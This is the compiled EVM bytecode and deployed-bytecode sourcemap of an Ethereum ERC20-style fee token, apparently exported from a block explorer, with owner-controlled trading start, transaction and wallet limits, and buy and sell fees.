0x6080604052600436106101395760003560e01c8063893d20e8116100ab578063a9059cbb1161006f578063a9059cbb14610398578063cb7f97d7146103b8578063cba0e996146103d8578063dd62ed3e14610408578063f2fde38b1461044e578063fe3145241461046e57600080fd5b8063893d20e8146102d857806395d89b411461030a5780639cc35351146103385780639d8740cb14610358578063a8b089821461037857600080fd5b8063293230b8116100fd578063293230b8146102155780632f54bf6e1461022c578063313ce5671461025b5780635f2869091461027757806370a082311461028d578063715018a6146102c357600080fd5b806306fdde0314610145578063095ea7b31461018c578063152bf6c8146101bc57806318160ddd146101e057806323b872dd146101f557600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600c81526b131a59da1d1b9a5b99d09bdd60a21b60208201525b60405161018391906115e6565b60405180910390f35b34801561019857600080fd5b506101ac6101a736600461164c565b610484565b6040519015158152602001610183565b3480156101c857600080fd5b506101d260175481565b604051908152602001610183565b3480156101ec57600080fd5b506101d261049b565b34801561020157600080fd5b506101ac610210366004611678565b61050c565b34801561022157600080fd5b5061022a610576565b005b34801561023857600080fd5b506101ac6102473660046116b9565b6000546001600160a01b0391821691161490565b34801561026757600080fd5b5060405160098152602001610183565b34801561028357600080fd5b506101d260185481565b34801561029957600080fd5b506101d26102a83660046116b9565b6001600160a01b031660009081526002602052604090205490565b3480156102cf57600080fd5b5061022a6105be565b3480156102e457600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610183565b34801561031657600080fd5b50604080518082019091526005815264131251d21560da1b6020820152610176565b34801561034457600080fd5b5061022a6103533660046116d6565b61062d565b34801561036457600080fd5b5061022a6103733660046116d6565b61076e565b34801561038457600080fd5b506006546102f2906001600160a01b031681565b3480156103a457600080fd5b506101ac6103b336600461164c565b6107d4565b3480156103c457600080fd5b5061022a6103d3366004611702565b6107e1565b3480156103e457600080fd5b506101ac6103f33660046116b9565b60046020526000908152604090205460ff1681565b34801561041457600080fd5b506101d261042336600461174e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561045a57600080fd5b5061022a6104693660046116b9565b6108d6565b34801561047a57600080fd5b506101d260195481565b6000610491338484610954565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926105079290916105019190610a78565b90610a78565b905090565b6000610519848484610a84565b61056b8433610566856040518060600160405280602881526020016118ef602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610fd6565b610954565b5060015b9392505050565b6000546001600160a01b031633146105a95760405162461bcd60e51b81526004016105a090611787565b60405180910390fd5b6006805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105e85760405162461bcd60e51b81526004016105a090611787565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146106575760405162461bcd60e51b81526004016105a090611787565b600061067a6127106106748660015461100290919063ffffffff16565b9061100e565b905060006106996127106106748660015461100290919063ffffffff16565b905060006106b86127106106748660015461100290919063ffffffff16565b601784905560188390556019819055905060006106e46103e861067460056106de61049b565b90611002565b90508084101580156106f65750808310155b80156107025750808210155b6107655760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016105a0565b50505050505050565b6000546001600160a01b031633146107985760405162461bcd60e51b81526004016105a090611787565b60098390556001546107b390620186a0906106749085611002565b600a556001546107cc90620186a0906106749084611002565b600b55505050565b6000610491338484610a84565b6000546001600160a01b0316331461080b5760405162461bcd60e51b81526004016105a090611787565b600c879055600d869055600f859055600e84905560108390556011829055601281905560135461083c90600161100e565b6010541115801561085c575060135461085690600161100e565b60115411155b8015610877575060135461087190600161100e565b60125411155b6107655760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b60648201526084016105a0565b6000546001600160a01b031633146109005760405162461bcd60e51b81526004016105a090611787565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166109b65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a0565b6001600160a01b038216610a175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a0565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061056f82846117bd565b6001600160a01b038316610ae85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a0565b6001600160a01b038216610b4a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a0565b6001600160a01b038316600090815260026020526040902054811115610bcc5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016105a0565b6001600160a01b03831660009081526004602052604090205460ff16158015610c0e57506001600160a01b03821660009081526004602052604090205460ff16155b15610c5d57600654600160a01b900460ff16610c5d5760405162461bcd60e51b815260206004820152600e60248201526d7374617274656454726164696e6760901b60448201526064016105a0565b6001600160a01b03831660009081526004602052604090205460ff16158015610c9f57506001600160a01b03821660009081526004602052604090205460ff16155b8015610cb957506006546001600160a01b03838116911614155b8015610cd057506001600160a01b03821661dead14155b15610d49576019546001600160a01b038316600090815260026020526040902054610cfb908361101a565b1115610d495760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016105a0565b6006546001600160a01b03848116911614610dea5760185481111580610d8757506001600160a01b03831660009081526004602052604090205460ff165b80610daa57506001600160a01b03821660009081526004602052604090205460ff165b610dea5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016105a0565b60175481111580610e1357506001600160a01b03831660009081526004602052604090205460ff165b80610e3657506001600160a01b03821660009081526004602052604090205460ff165b610e765760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016105a0565b6006546001600160a01b038381169116148015610eac57506001600160a01b03831660009081526004602052604090205460ff16155b15610eca57600160076000828254610ec491906117d0565b90915550505b610ed5838383611026565b15610eeb57610ee5600a546110e0565b60006007555b6001600160a01b038316600090815260026020526040902054610f0e9082610a78565b6001600160a01b038416600090815260026020908152604080832093909355600490529081205460ff1615610f435781610f4e565b610f4e84848461125d565b6001600160a01b038416600090815260026020526040902054909150610f74908261101a565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fc89085815260200190565b60405180910390a350505050565b60008184841115610ffa5760405162461bcd60e51b81526004016105a091906115e6565b505050900390565b600061056f82846117e3565b600061056f82846117fa565b600061056f82846117d0565b600b54600a543060009081526002602052604081205460085491938510159211159060ff161580156110615750600654600160a81b900460ff165b80156110765750600654600160a01b900460ff165b801561107f5750815b80156110a457506001600160a01b03861660009081526004602052604090205460ff16155b80156110bd57506006546001600160a01b038681169116145b80156110cd575060095460075410155b80156110d65750805b9695505050505050565b6008805460ff19166001908117909155600e54600d54600c5460009361111a936002936106de93919261111492839161101a565b9061101a565b9050600061113782610674600c548661100290919063ffffffff16565b905060006111458483610a78565b9050476111518261138d565b600061115d4783610a78565b90506000611180611179600c5488610a7890919063ffffffff16565b839061100e565b90506000611199600c548361100290919063ffffffff16565b905080156111ab576111ab86826114e7565b600d546000906111c0906106de856002611002565b90508015611204576015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611202573d6000803e3d6000fd5b505b478015611247576014546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611245573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526004602052604081205460ff1615611287575060175461056f565b6000611293858561159b565b11156113865760006112b66112a8868661159b565b6013546106de90869061100e565b306000908152600260205260409020549091506112d3908261101a565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113249085815260200190565b60405180910390a36000600f541180156113485750600f54611346868661159b565b115b15611374576113743061dead61136f600f546106de6013548961100e90919063ffffffff16565b610a84565b61137e8382610a78565b91505061056f565b5092915050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106113c2576113c261181c565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561141b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143f9190611832565b816001815181106114525761145261181c565b6001600160a01b0392831660209182029290920101526005546114789130911684610954565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b190859060009086903090429060040161184f565b600060405180830381600087803b1580156114cb57600080fd5b505af11580156114df573d6000803e3d6000fd5b505050505050565b6005546114ff9030906001600160a01b031684610954565b60055460165460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af115801561156f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061159491906118c0565b5050505050565b6006546000906001600160a01b03908116908316036115bd5750601154610495565b6006546001600160a01b03908116908416036115dc5750601054610495565b5060125492915050565b600060208083528351808285015260005b81811015611613578581018301518582016040015282016115f7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461164957600080fd5b50565b6000806040838503121561165f57600080fd5b823561166a81611634565b946020939093013593505050565b60008060006060848603121561168d57600080fd5b833561169881611634565b925060208401356116a881611634565b929592945050506040919091013590565b6000602082840312156116cb57600080fd5b813561056f81611634565b6000806000606084860312156116eb57600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a03121561171d57600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b6000806040838503121561176157600080fd5b823561176c81611634565b9150602083013561177c81611634565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610495576104956117a7565b80820180821115610495576104956117a7565b8082028115828204841417610495576104956117a7565b60008261181757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561184457600080fd5b815161056f81611634565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561189f5784516001600160a01b03168352938301939183019160010161187a565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156118d557600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220474258448a209a442299beffc642e12ed7b2dff17996953a934efcdde5ab062564736f6c63430008130033

Deployed Bytecode Sourcemap

3871:9930:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6185:67;;;;;;;;;;-1:-1:-1;6245:5:0;;;;;;;;;;;;-1:-1:-1;;;6245:5:0;;;;6185:67;;;;;;;:::i;:::-;;;;;;;;7006:133;;;;;;;;;;-1:-1:-1;7006:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7006:133:0;1023:187:1;5400:59:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5400:59:0;1215:177:1;6868:132:0;;;;;;;;;;;;;:::i;7896:309::-;;;;;;;;;;-1:-1:-1;7896:309:0;;;;;:::i;:::-;;:::i;6589:67::-;;;;;;;;;;;;;:::i;:::-;;590:87;;;;;;;;;;-1:-1:-1;590:87:0;;;;;:::i;:::-;645:4;670:5;-1:-1:-1;;;;;659:16:0;;;670:5;;659:16;;590:87;6662:67;;;;;;;;;;-1:-1:-1;6662:67:0;;4092:1;2252:36:1;;2240:2;2225:18;6662:67:0;2110:184:1;5466:54:0;;;;;;;;;;;;;;;;6335:103;;;;;;;;;;-1:-1:-1;6335:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;6418:18:0;6401:7;6418:18;;;:9;:18;;;;;;;6335:103;800:106;;;;;;;;;;;;;:::i;517:67::-;;;;;;;;;;-1:-1:-1;560:7:0;577:5;-1:-1:-1;;;;;577:5:0;517:67;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;517:67:0;2299:203:1;6258:71:0;;;;;;;;;;-1:-1:-1;6320:7:0;;;;;;;;;;;;-1:-1:-1;;;6320:7:0;;;;6258:71;;8217:541;;;;;;;;;;-1:-1:-1;8217:541:0;;;;;:::i;:::-;;:::i;7151:316::-;;;;;;;;;;-1:-1:-1;7151:316:0;;;;;:::i;:::-;;:::i;4368:26::-;;;;;;;;;;-1:-1:-1;4368:26:0;;;;-1:-1:-1;;;;;4368:26:0;;;6444:139;;;;;;;;;;-1:-1:-1;6444:139:0;;;;;:::i;:::-;;:::i;10060:518::-;;;;;;;;;;-1:-1:-1;10060:518:0;;;;;:::i;:::-;;:::i;4286:43::-;;;;;;;;;;-1:-1:-1;4286:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6735:127;;;;;;;;;;-1:-1:-1;6735:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6833:18:0;;;6816:7;6833:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6735:127;683:111;;;;;;;;;;-1:-1:-1;683:111:0;;;;;:::i;:::-;;:::i;5527:57::-;;;;;;;;;;;;;;;;7006:133;7081:4;7088:37;7097:10;7109:7;7118:6;7088:8;:37::i;:::-;-1:-1:-1;7133:4:0;7006:133;;;;;:::o;6868:132::-;6418:9;:18;;;;5116:42;6921:7;6418:18;;;;;6938:12;;6921:7;;6938:60;;6418:18;;6938:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;6931:67;;6868:132;:::o;7896:309::-;7994:4;8011:36;8021:6;8029:9;8040:6;8011:9;:36::i;:::-;8058:117;8067:6;8075:10;8087:87;8123:6;8087:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8087:19:0;;;;;;:11;:19;;;;;;;;8107:10;8087:31;;;;;;;;;:87;:35;:87::i;:::-;8058:8;:117::i;:::-;-1:-1:-1;8193:4:0;7896:309;;;;;;:::o;6589:67::-;645:4;670:5;-1:-1:-1;;;;;670:5:0;484:10;659:16;468:38;;;;-1:-1:-1;;;468:38:0;;;;;;;:::i;:::-;;;;;;;;;6633:14:::1;:21:::0;;-1:-1:-1;;;;6633:21:0::1;-1:-1:-1::0;;;6633:21:0::1;::::0;;6589:67::o;800:106::-;645:4;670:5;-1:-1:-1;;;;;670:5:0;484:10;659:16;468:38;;;;-1:-1:-1;;;468:38:0;;;;;;;:::i;:::-;863:1:::1;847:18:::0;;-1:-1:-1;;;;;;847:18:0::1;::::0;;872:32:::1;::::0;2445:51:1;;;872:32:0::1;::::0;2433:2:1;2418:18;872:32:0::1;;;;;;;800:106::o:0;8217:541::-;645:4;670:5;-1:-1:-1;;;;;670:5:0;484:10;659:16;468:38;;;;-1:-1:-1;;;468:38:0;;;;;;;:::i;:::-;8323:13:::1;8339:33;8366:5;8339:22;8356:4;8339:12;;:16;;:22;;;;:::i;:::-;:26:::0;::::1;:33::i;:::-;8323:49;;8374:19;8396:34;8424:5;8396:23;8413:5;8396:12;;:16;;:23;;;;:::i;:34::-;8374:56;;8432:17;8452:36;8482:5;8452:25;8469:7;8452:12;;:16;;:25;;;;:::i;:36::-;8499:11;:19:::0;;;8520:6:::1;:20:::0;;;8542:9:::1;:21:::0;;;8432:56;-1:-1:-1;;8590:30:0::1;8615:4;8590:20;8608:1;8590:13;:11;:13::i;:::-;:17:::0;::::1;:20::i;:30::-;8574:46;;8648:5;8639;:14;;:38;;;;;8672:5;8657:11;:20;;8639:38;:60;;;;;8694:5;8681:9;:18;;8639:60;8631:119;;;::::0;-1:-1:-1;;;8631:119:0;;4614:2:1;8631:119:0::1;::::0;::::1;4596:21:1::0;4653:2;4633:18;;;4626:30;4692:34;4672:18;;;4665:62;-1:-1:-1;;;4743:18:1;;;4736:44;4797:19;;8631:119:0::1;4412:410:1::0;8631:119:0::1;8312:446;;;;8217:541:::0;;;:::o;7151:316::-;645:4;670:5;-1:-1:-1;;;;;670:5:0;484:10;659:16;468:38;;;;-1:-1:-1;;;468:38:0;;;;;;;:::i;:::-;7284:14:::1;:28:::0;;;7327:12:::1;::::0;:53:::1;::::0;7372:6:::1;::::0;7327:32:::1;::::0;7344:14;7327:16:::1;:32::i;:53::-;7314:10;:66:::0;7405:12:::1;::::0;:54:::1;::::0;7451:6:::1;::::0;7405:33:::1;::::0;7422:15;7405:16:::1;:33::i;:54::-;7392:10;:67:::0;-1:-1:-1;;;7151:316:0:o;6444:139::-;6522:4;6529:40;6539:10;6551:9;6562:6;6529:9;:40::i;10060:518::-;645:4;670:5;-1:-1:-1;;;;;670:5:0;484:10;659:16;468:38;;;;-1:-1:-1;;;468:38:0;;;;;;;:::i;:::-;10250:12:::1;:25:::0;;;10277:12:::1;:25:::0;;;10304:7:::1;:15:::0;;;10321:14:::1;:29:::0;;;10352:6:::1;:15:::0;;;10369:7:::1;:15:::0;;;10386:11:::1;:20:::0;;;10435:11:::1;::::0;:18:::1;::::0;-1:-1:-1;10435:15:0::1;:18::i;:::-;10425:6;;:28;;:61;;;;-1:-1:-1::0;10468:11:0::1;::::0;:18:::1;::::0;10484:1:::1;10468:15;:18::i;:::-;10457:7;;:29;;10425:61;:98;;;;-1:-1:-1::0;10505:11:0::1;::::0;:18:::1;::::0;10521:1:::1;10505:15;:18::i;:::-;10490:11;;:33;;10425:98;10417:153;;;::::0;-1:-1:-1;;;10417:153:0;;5029:2:1;10417:153:0::1;::::0;::::1;5011:21:1::0;5068:2;5048:18;;;5041:30;5107:34;5087:18;;;5080:62;-1:-1:-1;;;5158:18:1;;;5151:40;5208:19;;10417:153:0::1;4827:406:1::0;683:111:0;645:4;670:5;-1:-1:-1;;;;;670:5:0;484:10;659:16;468:38;;;;-1:-1:-1;;;468:38:0;;;;;;;:::i;:::-;749:5:::1;:11:::0;;-1:-1:-1;;;;;;749:11:0::1;-1:-1:-1::0;;;;;749:11:0;::::1;::::0;;::::1;::::0;;;767:25:::1;::::0;2445:51:1;;;767:25:0::1;::::0;2433:2:1;2418:18;767:25:0::1;;;;;;;683:111:::0;:::o;10586:335::-;-1:-1:-1;;;;;10679:19:0;;10671:68;;;;-1:-1:-1;;;10671:68:0;;5656:2:1;10671:68:0;;;5638:21:1;5695:2;5675:18;;;5668:30;5734:34;5714:18;;;5707:62;-1:-1:-1;;;5785:18:1;;;5778:34;5829:19;;10671:68:0;5454:400:1;10671:68:0;-1:-1:-1;;;;;10758:21:0;;10750:68;;;;-1:-1:-1;;;10750:68:0;;6061:2:1;10750:68:0;;;6043:21:1;6100:2;6080:18;;;6073:30;6139:34;6119:18;;;6112:62;-1:-1:-1;;;6190:18:1;;;6183:32;6232:19;;10750:68:0;5859:398:1;10750:68:0;-1:-1:-1;;;;;10829:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10881:32;;1361:25:1;;;10881:32:0;;1334:18:1;10881:32:0;;;;;;;10586:335;;;:::o;1719:98::-;1777:7;1804:5;1808:1;1804;:5;:::i;11585:1422::-;-1:-1:-1;;;;;11682:20:0;;11674:70;;;;-1:-1:-1;;;11674:70:0;;6729:2:1;11674:70:0;;;6711:21:1;6768:2;6748:18;;;6741:30;6807:34;6787:18;;;6780:62;-1:-1:-1;;;6858:18:1;;;6851:35;6903:19;;11674:70:0;6527:401:1;11674:70:0;-1:-1:-1;;;;;11763:23:0;;11755:71;;;;-1:-1:-1;;;11755:71:0;;7135:2:1;11755:71:0;;;7117:21:1;7174:2;7154:18;;;7147:30;7213:34;7193:18;;;7186:62;-1:-1:-1;;;7264:18:1;;;7257:33;7307:19;;11755:71:0;6933:399:1;11755:71:0;-1:-1:-1;;;;;6418:18:0;;6401:7;6418:18;;;:9;:18;;;;;;11845:6;:27;;11837:88;;;;-1:-1:-1;;;11837:88:0;;7539:2:1;11837:88:0;;;7521:21:1;7578:2;7558:18;;;7551:30;7617:34;7597:18;;;7590:62;-1:-1:-1;;;7668:18:1;;;7661:47;7725:19;;11837:88:0;7337:413:1;11837:88:0;-1:-1:-1;;;;;11940:18:0;;;;;;:10;:18;;;;;;;;11939:19;:45;;;;-1:-1:-1;;;;;;11963:21:0;;;;;;:10;:21;;;;;;;;11962:22;11939:45;11936:93;;;11994:14;;-1:-1:-1;;;11994:14:0;;;;11986:41;;;;-1:-1:-1;;;11986:41:0;;7957:2:1;11986:41:0;;;7939:21:1;7996:2;7976:18;;;7969:30;-1:-1:-1;;;8015:18:1;;;8008:44;8069:18;;11986:41:0;7755:338:1;11986:41:0;-1:-1:-1;;;;;12043:18:0;;;;;;:10;:18;;;;;;;;12042:19;:45;;;;-1:-1:-1;;;;;;12066:21:0;;;;;;:10;:21;;;;;;;;12065:22;12042:45;:82;;;;-1:-1:-1;12112:11:0;;-1:-1:-1;;;;;12091:33:0;;;12112:11;;12091:33;;12042:82;:112;;;;-1:-1:-1;;;;;;12128:26:0;;5116:42;12128:26;;12042:112;12039:219;;;12212:9;;-1:-1:-1;;;;;12175:20:0;;;;;;:9;:20;;;;;;:32;;12200:6;12175:24;:32::i;:::-;12174:47;;12166:90;;;;-1:-1:-1;;;12166:90:0;;8300:2:1;12166:90:0;;;8282:21:1;8339:2;8319:18;;;8312:30;8378:32;8358:18;;;8351:60;8428:18;;12166:90:0;8098:354:1;12166:90:0;12281:11;;-1:-1:-1;;;;;12271:21:0;;;12281:11;;12271:21;12268:121;;12312:6;;12302;:16;;:38;;;-1:-1:-1;;;;;;12322:18:0;;;;;;:10;:18;;;;;;;;12302:38;:63;;;-1:-1:-1;;;;;;12344:21:0;;;;;;:10;:21;;;;;;;;12302:63;12294:93;;;;-1:-1:-1;;;12294:93:0;;8659:2:1;12294:93:0;;;8641:21:1;8698:2;8678:18;;;8671:30;-1:-1:-1;;;8717:18:1;;;8710:47;8774:18;;12294:93:0;8457:341:1;12294:93:0;12417:11;;12407:6;:21;;:43;;;-1:-1:-1;;;;;;12432:18:0;;;;;;:10;:18;;;;;;;;12407:43;:68;;;-1:-1:-1;;;;;;12454:21:0;;;;;;:10;:21;;;;;;;;12407:68;12399:98;;;;-1:-1:-1;;;12399:98:0;;8659:2:1;12399:98:0;;;8641:21:1;8698:2;8678:18;;;8671:30;-1:-1:-1;;;8717:18:1;;;8710:47;8774:18;;12399:98:0;8457:341:1;12399:98:0;12525:11;;-1:-1:-1;;;;;12512:24:0;;;12525:11;;12512:24;:47;;;;-1:-1:-1;;;;;;12541:18:0;;;;;;:10;:18;;;;;;;;12540:19;12512:47;12509:78;;;12583:1;12561:10;;:24;;;;;;;:::i;:::-;;;;-1:-1:-1;;12509:78:0;12600:45;12619:6;12627:9;12638:6;12600:18;:45::i;:::-;12597:109;;;12647:32;12668:10;;12647:20;:32::i;:::-;12702:1;12681:10;:23;12597:109;-1:-1:-1;;;;;12736:17:0;;;;;;:9;:17;;;;;;:29;;12758:6;12736:21;:29::i;:::-;-1:-1:-1;;;;;12716:17:0;;;;;;:9;:17;;;;;;;;:49;;;;12802:10;:18;;;;;;;;12801:19;:65;;12860:6;12801:65;;;12823:34;12831:6;12839:9;12850:6;12823:7;:34::i;:::-;-1:-1:-1;;;;;12900:20:0;;;;;;:9;:20;;;;;;12776:90;;-1:-1:-1;12900:40:0;;12776:90;12900:24;:40::i;:::-;-1:-1:-1;;;;;12877:20:0;;;;;;;:9;:20;;;;;;;:63;;;;12956:43;;;;;;;;;;12984:14;1361:25:1;;1349:2;1334:18;;1215:177;12956:43:0;;;;;;;;11663:1344;11585:1422;;;:::o;2143:240::-;2263:7;2324:12;2316:6;;;;2308:29;;;;-1:-1:-1;;;2308:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2359:5:0;;;2143:240::o;1825:98::-;1883:7;1910:5;1914:1;1910;:5;:::i;1931:98::-;1989:7;2016:5;2020:1;2016;:5;:::i;1613:98::-;1671:7;1698:5;1702:1;1698;:5;:::i;7479:405::-;7624:10;;7695;;7685:4;7581;6418:18;;;:9;:18;;;;;;7724:6;;7581:4;;7614:20;;;;-1:-1:-1;7667:38:0;;7724:6;;7723:7;:22;;;;-1:-1:-1;7734:11:0;;-1:-1:-1;;;7734:11:0;;;;7723:22;:40;;;;-1:-1:-1;7749:14:0;;-1:-1:-1;;;7749:14:0;;;;7723:40;:52;;;;;7767:8;7723:52;:75;;;;-1:-1:-1;;;;;;7780:18:0;;;;;;:10;:18;;;;;;;;7779:19;7723:75;:103;;;;-1:-1:-1;7815:11:0;;-1:-1:-1;;;;;7802:24:0;;;7815:11;;7802:24;7723:103;:135;;;;;7844:14;;7830:10;;:28;;7723:135;:153;;;;;7862:14;7723:153;7716:160;7479:405;-1:-1:-1;;;;;;7479:405:0:o;8766:1043::-;4724:6;:13;;-1:-1:-1;;4724:13:0;4733:4;4724:13;;;;;;8906:14:::1;::::0;8888:12:::1;::::0;8864::::1;::::0;4724:6;;8863:66:::1;::::0;8927:1:::1;::::0;8864:57:::1;::::0;8906:14;;8864:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;8863:66::-;8840:89;;8940:32;8975:42;9004:12;8975:24;8986:12;;8975:6;:10;;:24;;;;:::i;:42::-;8940:77:::0;-1:-1:-1;9028:14:0::1;9045:36;:6:::0;8940:77;9045:10:::1;:36::i;:::-;9028:53:::0;-1:-1:-1;9117:21:0::1;9149:24;9028:53:::0;9149:16:::1;:24::i;:::-;9184:20;9207:41;:21;9233:14:::0;9207:25:::1;:41::i;:::-;9184:64;;9259:19;9280:48;9297:30;9314:12;;9297;:16;;:30;;;;:::i;:::-;9280:12:::0;;:16:::1;:48::i;:::-;9259:69;;9339:29;9371;9387:12;;9371:11;:15;;:29;;;;:::i;:::-;9339:61:::0;-1:-1:-1;9414:34:0;;9411:103:::1;;9450:61;9463:24;9489:21;9450:12;:61::i;:::-;9570:12;::::0;9524:20:::1;::::0;9547:36:::1;::::0;:18:::1;:11:::0;9563:1:::1;9547:15;:18::i;:36::-;9524:59:::0;-1:-1:-1;9597:16:0;;9594:63:::1;;9623:8;::::0;9615:40:::1;::::0;-1:-1:-1;;;;;9623:8:0;;::::1;::::0;9615:40;::::1;;;::::0;9642:12;;9623:8:::1;9615:40:::0;9623:8;9615:40;9642:12;9623:8;9615:40;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9594:63;9693:21;9728:28:::0;;9725:77:::1;;9766:7;::::0;9758:42:::1;::::0;-1:-1:-1;;;;;9766:7:0;;::::1;::::0;9758:42;::::1;;;::::0;9784:15;;9766:7:::1;9758:42:::0;9766:7;9758:42;9784:15;9766:7;9758:42;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9725:77;-1:-1:-1::0;;4742:6:0;:14;;-1:-1:-1;;4742:14:0;;;-1:-1:-1;;;;;;;;8766:1043:0:o;10929:648::-;-1:-1:-1;;;;;11039:21:0;;11015:7;11039:21;;;:10;:21;;;;;;;;11035:48;;;-1:-1:-1;11070:11:0;;11063:18;;11035:48;11129:1;11096:30;11108:6;11116:9;11096:11;:30::i;:::-;:34;11093:462;;;11142:17;11162:59;11190:30;11202:6;11210:9;11190:11;:30::i;:::-;11173:11;;11162:23;;:6;;:10;:23::i;:59::-;11277:4;11259:24;;;;:9;:24;;;;;;11142:79;;-1:-1:-1;11259:39:0;;11142:79;11259:28;:39::i;:::-;11250:4;11232:24;;;;:9;:24;;;;;;;:66;;;;11314:42;;-1:-1:-1;;;;;11314:42:0;;;;;;;11346:9;1361:25:1;;1349:2;1334:18;;1215:177;11314:42:0;;;;;;;;11388:1;11370:7;;:20;:64;;;;;11427:7;;11394:30;11406:6;11414:9;11394:11;:30::i;:::-;:40;11370:64;11367:148;;;11436:77;11454:4;5116:42;11476:36;11504:7;;11476:23;11487:11;;11476:6;:10;;:23;;;;:::i;:36::-;11436:9;:77::i;:::-;11532:21;:6;11543:9;11532:10;:21::i;:::-;11525:28;;;;;11093:462;-1:-1:-1;11563:6:0;10929:648;-1:-1:-1;;10929:648:0:o;13015:440::-;13105:16;;;13119:1;13105:16;;;;;;;;13081:21;;13105:16;;;;;;;;;;-1:-1:-1;13105:16:0;13081:40;;13150:4;13132;13137:1;13132:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13132:23:0;;;:7;;;;;;;;;;:23;;;;13176:8;;:15;;;-1:-1:-1;;;13176:15:0;;;;:8;;;;;:13;;:15;;;;;13132:7;;13176:15;;;;;:8;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13166:4;13171:1;13166:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13166:25:0;;;:7;;;;;;;;;:25;13234:8;;13202:55;;13219:4;;13234:8;13245:11;13202:8;:55::i;:::-;13268:8;;:179;;-1:-1:-1;;;13268:179:0;;-1:-1:-1;;;;;13268:8:0;;;;:59;;:179;;13342:11;;13268:8;;13384:4;;13411;;13431:15;;13268:179;